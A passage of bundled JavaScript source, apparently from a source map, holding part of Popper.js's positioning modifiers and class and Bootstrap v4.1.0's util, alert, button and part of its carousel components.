/**\n * @prop {String|HTMLElement} boundariesElement='scrollParent'\n * Boundaries used by the modifier, can be `scrollParent`, `window`,\n * `viewport` or any DOM element.\n */\n boundariesElement: 'scrollParent'\n },\n\n /**\n * Modifier used to make sure the reference and its popper stay near eachothers\n * without leaving any gap between the two. Expecially useful when the arrow is\n * enabled and you want to assure it to point to its reference element.\n * It cares only about the first axis, you can still have poppers with margin\n * between the popper and its reference element.\n * @memberof modifiers\n * @inner\n */\n keepTogether: {\n /** @prop {number} order=400 - Index used to define the order of execution */\n order: 400,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: keepTogether\n },\n\n /**\n * This modifier is used to move the `arrowElement` of the popper to make\n * sure it is positioned between the reference element and its popper element.\n * It will read the outer size of the `arrowElement` node to detect how many\n * pixels of conjuction are needed.\n *\n * It has no effect if no `arrowElement` is provided.\n * @memberof modifiers\n * @inner\n */\n arrow: {\n /** @prop {number} order=500 - Index used to define the order of execution */\n order: 500,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: arrow,\n /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n element: '[x-arrow]'\n },\n\n /**\n * Modifier used to flip the popper's placement when it starts to overlap its\n * reference element.\n *\n * Requires the `preventOverflow` modifier before it in order to work.\n *\n * **NOTE:** this modifier will interrupt the current update cycle and will\n * restart it if it detects the need to flip the placement.\n * @memberof modifiers\n * @inner\n */\n flip: {\n /** @prop {number} order=600 - Index used to define the order of execution */\n order: 600,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: flip,\n /**\n * @prop {String|Array} behavior='flip'\n * The behavior used to change the popper's placement. It can be one of\n * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n * placements (with optional variations).\n */\n behavior: 'flip',\n /**\n * @prop {number} padding=5\n * The popper will flip if it hits the edges of the `boundariesElement`\n */\n padding: 5,\n /**\n * @prop {String|HTMLElement} boundariesElement='viewport'\n * The element which will define the boundaries of the popper position,\n * the popper will never be placed outside of the defined boundaries\n * (except if keepTogether is enabled)\n */\n boundariesElement: 'viewport'\n },\n\n /**\n * Modifier used to make the popper flow toward the inner of the reference element.\n * By default, when this modifier is disabled, the popper will be placed outside\n * the reference element.\n * @memberof modifiers\n * @inner\n */\n inner: {\n /** @prop {number} order=700 - Index used to define the order of execution */\n order: 700,\n /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n enabled: false,\n /** @prop {ModifierFn} */\n fn: inner\n },\n\n /**\n * Modifier used to hide the popper when its reference element is outside of the\n * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n * be used to hide with a CSS selector the popper when its reference is\n * out of boundaries.\n *\n * Requires the `preventOverflow` modifier before it in order to work.\n * @memberof modifiers\n * @inner\n */\n hide: {\n /** @prop {number} order=800 - Index used to define the order of execution */\n order: 800,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: hide\n },\n\n /**\n * Computes the style that will be applied to the popper element to gets\n * properly positioned.\n *\n * Note that this modifier will not touch the DOM, it just prepares the styles\n * so that `applyStyle` modifier can apply it. This separation is useful\n * in case you need to replace `applyStyle` with a custom implementation.\n *\n * This modifier has `850` as `order` value to maintain backward compatibility\n * with previous versions of Popper.js. Expect the modifiers ordering method\n * to change in future major versions of the library.\n *\n * @memberof modifiers\n * @inner\n */\n computeStyle: {\n /** @prop {number} order=850 - Index used to define the order of execution */\n order: 850,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: computeStyle,\n /**\n * @prop {Boolean} gpuAcceleration=true\n * If true, it uses the CSS 3d transformation to position the popper.\n * Otherwise, it will use the `top` and `left` properties.\n */\n gpuAcceleration: true,\n /**\n * @prop {string} [x='bottom']\n * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n * Change this if your popper should grow in a direction different from `bottom`\n */\n x: 'bottom',\n /**\n * @prop {string} [x='left']\n * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n * Change this if your popper should grow in a direction different from `right`\n */\n y: 'right'\n },\n\n /**\n * Applies the computed styles to the popper element.\n *\n * All the DOM manipulations are limited to this modifier. This is useful in case\n * you want to integrate Popper.js inside a framework or view library and you\n * want to delegate all the DOM manipulations to it.\n *\n * Note that if you disable this modifier, you must make sure the popper element\n * has its position set to `absolute` before Popper.js can do its work!\n *\n * Just disable this modifier and define you own to achieve the desired effect.\n *\n * @memberof modifiers\n * @inner\n */\n applyStyle: {\n /** @prop {number} order=900 - Index used to define the order of execution */\n order: 900,\n /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n enabled: true,\n /** @prop {ModifierFn} */\n fn: applyStyle,\n /** @prop {Function} */\n onLoad: applyStyleOnLoad,\n /**\n * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n * @prop {Boolean} gpuAcceleration=true\n * If true, it uses the CSS 3d transformation to position the popper.\n * Otherwise, it will use the `top` and `left` properties.\n */\n gpuAcceleration: undefined\n }\n};\n\n/**\n * The `dataObject` is an object containing all the informations used by Popper.js\n * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper.\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements.\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overriden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass as 3rd argument an object with the same\n * structure of this object, example:\n * ```\n * new Popper(ref, pop, {\n * modifiers: {\n * preventOverflow: { enabled: false }\n * }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nvar Defaults = {\n /**\n * Popper's placement\n * @prop {Popper.placements} placement='bottom'\n */\n placement: 'bottom',\n\n /**\n * Set this to true if you want popper to position it self in 'fixed' mode\n * @prop {Boolean} positionFixed=false\n */\n positionFixed: false,\n\n /**\n * Whether events (resize, scroll) are initially enabled\n * @prop {Boolean} eventsEnabled=true\n */\n eventsEnabled: true,\n\n /**\n * Set to true if you want to automatically remove the popper when\n * you call the `destroy` method.\n * @prop {Boolean} removeOnDestroy=false\n */\n removeOnDestroy: false,\n\n /**\n * Callback called when the popper is created.<br />\n * By default, is set to no-op.<br />\n * Access Popper.js instance with `data.instance`.\n * @prop {onCreate}\n */\n onCreate: function onCreate() {},\n\n /**\n * Callback called when the popper is updated, this callback is not called\n * on the initialization/creation of the popper, but only on subsequent\n * updates.<br />\n * By default, is set to no-op.<br />\n * Access Popper.js instance with `data.instance`.\n * @prop {onUpdate}\n */\n onUpdate: function onUpdate() {},\n\n /**\n * List of modifiers used to modify the offsets before they are applied to the popper.\n * They provide most of the functionalities of Popper.js\n * @prop {modifiers}\n */\n modifiers: modifiers\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n\n// Utils\n// Methods\nvar Popper = function () {\n /**\n * Create a new Popper.js instance\n * @class Popper\n * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper.\n * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n * @return {Object} instance - The generated Popper.js instance\n */\n function Popper(reference, popper) {\n var _this = this;\n\n var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};\n classCallCheck(this, Popper);\n\n this.scheduleUpdate = function () {\n return requestAnimationFrame(_this.update);\n };\n\n // make update() debounced, so that it only runs at most once-per-tick\n this.update = debounce(this.update.bind(this));\n\n // with {} we create a new object with the options inside it\n this.options = _extends({}, Popper.Defaults, options);\n\n // init state\n this.state = {\n isDestroyed: false,\n isCreated: false,\n scrollParents: []\n };\n\n // get reference and popper elements (allow jQuery wrappers)\n this.reference = reference && reference.jquery ? reference[0] : reference;\n this.popper = popper && popper.jquery ? popper[0] : popper;\n\n // Deep merge modifiers options\n this.options.modifiers = {};\n Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {\n _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});\n });\n\n // Refactoring modifiers' list (Object => Array)\n this.modifiers = Object.keys(this.options.modifiers).map(function (name) {\n return _extends({\n name: name\n }, _this.options.modifiers[name]);\n })\n // sort the modifiers by order\n .sort(function (a, b) {\n return a.order - b.order;\n });\n\n // modifiers have the ability to execute arbitrary code when Popper.js get inited\n // such code is executed in the same order of its modifier\n // they could add new properties to their options configuration\n // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n this.modifiers.forEach(function (modifierOptions) {\n if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);\n }\n });\n\n // fire the first update to position the popper in the right place\n this.update();\n\n var eventsEnabled = this.options.eventsEnabled;\n if (eventsEnabled) {\n // setup event listeners, they will take care of update the position in specific situations\n this.enableEventListeners();\n }\n\n this.state.eventsEnabled = eventsEnabled;\n }\n\n // We can't use class properties because they don't get listed in the\n // class prototype and break stuff like Sinon stubs\n\n\n createClass(Popper, [{\n key: 'update',\n value: function update$$1() {\n return update.call(this);\n }\n }, {\n key: 'destroy',\n value: function destroy$$1() {\n return destroy.call(this);\n }\n }, {\n key: 'enableEventListeners',\n value: function enableEventListeners$$1() {\n return enableEventListeners.call(this);\n }\n }, {\n key: 'disableEventListeners',\n value: function disableEventListeners$$1() {\n return disableEventListeners.call(this);\n }\n\n /**\n * Schedule an update, it will run on the next UI update available\n * @method scheduleUpdate\n * @memberof Popper\n */\n\n\n /**\n * Collection of utilities useful when writing custom modifiers.\n * Starting from version 1.7, this method is available only if you\n * include `popper-utils.js` before `popper.js`.\n *\n * **DEPRECATION**: This way to access PopperUtils is deprecated\n * and will be removed in v2! Use the PopperUtils module directly instead.\n * Due to the high instability of the methods contained in Utils, we can't\n * guarantee them to follow semver. Use them at your own risk!\n * @static\n * @private\n * @type {Object}\n * @deprecated since version 1.8\n * @member Utils\n * @memberof Popper\n */\n\n }]);\n return Popper;\n}();\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n\n\nPopper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\nPopper.placements = placements;\nPopper.Defaults = Defaults;\n\nexport default Popper;\n//# sourceMappingURL=popper.js.map\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Util = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Private TransitionEnd Helpers\n * ------------------------------------------------------------------------\n */\n\n const TRANSITION_END = 'transitionend'\n const MAX_UID = 1000000\n const MILLISECONDS_MULTIPLIER = 1000\n\n // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n function toType(obj) {\n return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n }\n\n function getSpecialTransitionEndEvent() {\n return {\n bindType: TRANSITION_END,\n delegateType: TRANSITION_END,\n handle(event) {\n if ($(event.target).is(this)) {\n return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params\n }\n return undefined // eslint-disable-line no-undefined\n }\n }\n }\n\n function transitionEndEmulator(duration) {\n let called = false\n\n $(this).one(Util.TRANSITION_END, () => {\n called = true\n })\n\n setTimeout(() => {\n if (!called) {\n Util.triggerTransitionEnd(this)\n }\n }, duration)\n\n return this\n }\n\n function setTransitionEndSupport() {\n $.fn.emulateTransitionEnd = transitionEndEmulator\n $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n }\n\n /**\n * --------------------------------------------------------------------------\n * Public Util Api\n * --------------------------------------------------------------------------\n */\n\n const Util = {\n\n TRANSITION_END: 'bsTransitionEnd',\n\n getUID(prefix) {\n do {\n // eslint-disable-next-line no-bitwise\n prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n } while (document.getElementById(prefix))\n return prefix\n },\n\n getSelectorFromElement(element) {\n let selector = element.getAttribute('data-target')\n if (!selector || selector === '#') {\n selector = element.getAttribute('href') || ''\n }\n\n try {\n const $selector = $(document).find(selector)\n return $selector.length > 0 ? selector : null\n } catch (err) {\n return null\n }\n },\n\n getTransitionDurationFromElement(element) {\n if (!element) {\n return 0\n }\n\n // Get transition-duration of the element\n let transitionDuration = $(element).css('transition-duration')\n const floatTransitionDuration = parseFloat(transitionDuration)\n\n // Return 0 if element or transition duration is not found\n if (!floatTransitionDuration) {\n return 0\n }\n\n // If multiple durations are defined, take the first\n transitionDuration = transitionDuration.split(',')[0]\n\n return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER\n },\n\n reflow(element) {\n return element.offsetHeight\n },\n\n triggerTransitionEnd(element) {\n $(element).trigger(TRANSITION_END)\n },\n\n // TODO: Remove in v5\n supportsTransitionEnd() {\n return Boolean(TRANSITION_END)\n },\n\n isElement(obj) {\n return (obj[0] || obj).nodeType\n },\n\n typeCheckConfig(componentName, config, configTypes) {\n for (const property in configTypes) {\n if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n const expectedTypes = configTypes[property]\n const value = config[property]\n const valueType = value && Util.isElement(value)\n ? 'element' : toType(value)\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new Error(\n `${componentName.toUpperCase()}: ` +\n `Option \"${property}\" provided type \"${valueType}\" ` +\n `but expected type \"${expectedTypes}\".`)\n }\n }\n }\n }\n }\n\n setTransitionEndSupport()\n\n return Util\n})($)\n\nexport default Util\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Alert = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'alert'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.alert'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Selector = {\n DISMISS : '[data-dismiss=\"alert\"]'\n }\n\n const Event = {\n CLOSE : `close${EVENT_KEY}`,\n CLOSED : `closed${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n ALERT : 'alert',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Alert {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n close(element) {\n element = element || this._element\n\n const rootElement = this._getRootElement(element)\n const customEvent = this._triggerCloseEvent(rootElement)\n\n if (customEvent.isDefaultPrevented()) {\n return\n }\n\n this._removeElement(rootElement)\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _getRootElement(element) {\n const selector = Util.getSelectorFromElement(element)\n let parent = false\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n if (!parent) {\n parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n }\n\n return parent\n }\n\n _triggerCloseEvent(element) {\n const closeEvent = $.Event(Event.CLOSE)\n\n $(element).trigger(closeEvent)\n return closeEvent\n }\n\n _removeElement(element) {\n $(element).removeClass(ClassName.SHOW)\n\n if (!$(element).hasClass(ClassName.FADE)) {\n this._destroyElement(element)\n return\n }\n\n const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n $(element)\n .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n .emulateTransitionEnd(transitionDuration)\n }\n\n _destroyElement(element) {\n $(element)\n .detach()\n .trigger(Event.CLOSED)\n .remove()\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $element = $(this)\n let data = $element.data(DATA_KEY)\n\n if (!data) {\n data = new Alert(this)\n $element.data(DATA_KEY, data)\n }\n\n if (config === 'close') {\n data[config](this)\n }\n })\n }\n\n static _handleDismiss(alertInstance) {\n return function (event) {\n if (event) {\n event.preventDefault()\n }\n\n alertInstance.close(this)\n }\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(\n Event.CLICK_DATA_API,\n Selector.DISMISS,\n Alert._handleDismiss(new Alert())\n )\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Alert._jQueryInterface\n $.fn[NAME].Constructor = Alert\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Alert._jQueryInterface\n }\n\n return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'button'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.button'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const ClassName = {\n ACTIVE : 'active',\n BUTTON : 'btn',\n FOCUS : 'focus'\n }\n\n const Selector = {\n DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n DATA_TOGGLE : '[data-toggle=\"buttons\"]',\n INPUT : 'input',\n ACTIVE : '.active',\n BUTTON : '.btn'\n }\n\n const Event = {\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n `blur${EVENT_KEY}${DATA_API_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Button {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n toggle() {\n let triggerChangeEvent = true\n let addAriaPressed = true\n const rootElement = $(this._element).closest(\n Selector.DATA_TOGGLE\n )[0]\n\n if (rootElement) {\n const input = $(this._element).find(Selector.INPUT)[0]\n\n if (input) {\n if (input.type === 'radio') {\n if (input.checked &&\n $(this._element).hasClass(ClassName.ACTIVE)) {\n triggerChangeEvent = false\n } else {\n const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n if (activeElement) {\n $(activeElement).removeClass(ClassName.ACTIVE)\n }\n }\n }\n\n if (triggerChangeEvent) {\n if (input.hasAttribute('disabled') ||\n rootElement.hasAttribute('disabled') ||\n input.classList.contains('disabled') ||\n rootElement.classList.contains('disabled')) {\n return\n }\n input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n $(input).trigger('change')\n }\n\n input.focus()\n addAriaPressed = false\n }\n }\n\n if (addAriaPressed) {\n this._element.setAttribute('aria-pressed',\n !$(this._element).hasClass(ClassName.ACTIVE))\n }\n\n if (triggerChangeEvent) {\n $(this._element).toggleClass(ClassName.ACTIVE)\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n\n if (!data) {\n data = new Button(this)\n $(this).data(DATA_KEY, data)\n }\n\n if (config === 'toggle') {\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n event.preventDefault()\n\n let button = event.target\n\n if (!$(button).hasClass(ClassName.BUTTON)) {\n button = $(button).closest(Selector.BUTTON)\n }\n\n Button._jQueryInterface.call($(button), 'toggle')\n })\n .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n const button = $(event.target).closest(Selector.BUTTON)[0]\n $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Button._jQueryInterface\n $.fn[NAME].Constructor = Button\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Button._jQueryInterface\n }\n\n return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'carousel'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.carousel'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ARROW_LEFT_KEYCODE = 37 // KeyboardEvent.which value for left arrow key\n const ARROW_RIGHT_KEYCODE = 39 // KeyboardEvent.which value for right arrow key\n const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n const Default = {\n interval : 5000,\n keyboard : true,\n slide : false,\n pause : 'hover',\n wrap : true\n }\n\n const DefaultType = {\n interval : '(number|boolean)',\n keyboard : 'boolean',\n slide : '(boolean|string)',\n pause : '(string|boolean)',\n wrap : 'boolean'\n }\n\n const Direction = {\n NEXT : 'next',\n PREV : 'prev',\n LEFT : 'left',\n RIGHT : 'right'\n }\n\n const Event = {\n SLIDE : `slide${EVENT_KEY}`,\n SLID : `slid${EVENT_KEY}`,\n KEYDOWN : `keydown${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`,\n TOUCHEND : `touchend${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n CAROUSEL : 'carousel',\n ACTIVE : 'active',\n SLIDE : 'slide',\n RIGHT : 'carousel-item-right',\n LEFT : 'carousel-item-left',\n NEXT : 'carousel-item-next',\n PREV : 'carousel-item-prev',\n ITEM : 'carousel-item'\n }\n\n const Selector = {\n ACTIVE : '.active',\n ACTIVE_ITEM : '.active.carousel-item',\n ITEM : '.carousel-item',\n NEXT_PREV : '.carousel-item-next, .carousel-item-prev',\n INDICATORS : '.carousel-indicators',\n DATA_SLIDE : '[data-slide], [data-slide-to]',\n DATA_RIDE : '[data-ride=\"carousel\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Carousel {\n constructor(element, config) {\n this._items = null\n this._interval = null\n this._activeElement = null\n\n this._isPaused = false\n this._isSliding = false\n\n this.touchTimeout = null\n\n this._config = this._getConfig(config)\n this._element = $(element)[0]\n this._indicatorsElement = $(this._element).find(Selector.INDICATORS)[0]\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n next() {\n if (!this._isSliding) {\n this._slide(Direction.NEXT)\n }\n }\n\n nextWhenVisible() {\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden &&\n ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n this.next()\n }\n }\n\n prev() {\n if (!this._isSliding) {\n this._slide(Direction.PREV)\n }\n }\n\n pause(event) {\n if (!event) {\n this._isPaused = true\n }\n\n if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n Util.triggerTransitionEnd(this._element)\n this.cycle(true)\n }\n\n clearInterval(this._interval)\n this._interval = null\n }\n\n cycle(event) {\n if (!event) {\n this._isPaused = false\n }\n\n if (this._interval) {\n clearInterval(this._interval)\n this._interval = null\n }\n\n if (this._config.interval && !this._isPaused) {\n this._interval = setInterval(\n (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n this._config.interval\n )\n }\n }\n\n to(index) {\n this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n const activeIndex = this._getItemIndex(this._activeElement)\n\n if (index > this._items.length - 1 || index < 0) {\n return\n }\n\n if (this._isSliding) {\n $(this._element).one(Event.SLID, () => this.to(index))\n return\n }\n\n if (activeIndex === index) {\n this.pause()\n this.cycle()\n return\n }\n\n const direction = index > activeIndex\n ? Direction.NEXT\n : Direction.PREV\n\n this._slide(direction, this._items[index])\n }\n\n dispose() {\n $(this._element).off(EVENT_KEY)\n $.removeData(this._element, DATA_KEY)\n\n this._items = null\n this._config = null\n this._element = null\n this._interval = null\n this._isPaused = null\n this._isSliding = null\n this._activeElement = null\n this._indicatorsElement = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _addEventListeners() {\n if (this._config.keyboard) {\n $(this._element)\n .on(Event.KEYDOWN, (event) => this._keydown(event))\n }\n\n if (this._config.pause === 'hover') {\n $(this._element)\n .on(Event.MOUSEENTER, (event) => this.pause(event))\n .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n if ('ontouchstart' in document.documentElement) {\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n $(this._element).on(Event.TOUCHEND, () => {\n this.pause()\n if (this.touchTimeout) {\n clearTimeout(this.touchTimeout)\n }\n this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n })\n }\n }\n }\n\n _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return\n }\n\n switch (event.which) {\n case ARROW_LEFT_KEYCODE:\n event.preventDefault()\n this.prev()\n break\n case ARROW_RIGHT_KEYCODE:\n event.preventDefault()\n this.next()\n break\n default:\n }\n }\n\n _getItemIndex(element) {\n this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n return this._items.indexOf(element)\n }\n\n _getItemByDirection(direction, activeElement) {\n const isNextDirection = direction === Direction.NEXT\n const isPrevDirection = direction === Direction.PREV\n const activeIndex = this._getItemIndex(activeElement)\n const lastItemIndex = this._items.length - 1\n const isGoingToWrap = isPrevDirection && activeIndex === 0 ||\n isNextDirection && activeIndex === lastItemIndex\n\n if (isGoingToWrap && !this._config.wrap) {\n return activeElement\n }\n\n const delta = direction === Direction.PREV ? -1 : 1\n const itemIndex = (activeIndex + delta) % this._items.length\n\n return itemIndex === -1\n ? this._items[this._items.length - 1] : this._items[itemIndex]\n }\n\n _triggerSlideEvent(relatedTarget, eventDirectionName) {\n const targetIndex = this._getItemIndex(relatedTarget)\n const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n const slideEvent = $.Event(Event.SLIDE, {\n relatedTarget,\n direction: eventDirectionName,\n from: fromIndex,\n to: targetIndex\n })\n\n $(this._element).trigger(slideEvent)\n\n return slideEvent\n }\n\n _setActiveIndicatorElement(element) {\n if (this._indicatorsElement) {\n $(this._indicatorsElement)\n .find(Selector.ACTIVE)\n .removeClass(ClassName.ACTIVE)\n\n const nextIndicator = this._indicatorsElement.children[\n this._getItemIndex(element)\n ]\n\n if (nextIndicator) {\n $(nextIndicator).addClass(ClassName.ACTIVE)\n }\n }\n }\n\n _slide(direction, element) {\n const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n const activeElementIndex = this._getItemIndex(activeElement)\n const nextElement = element || 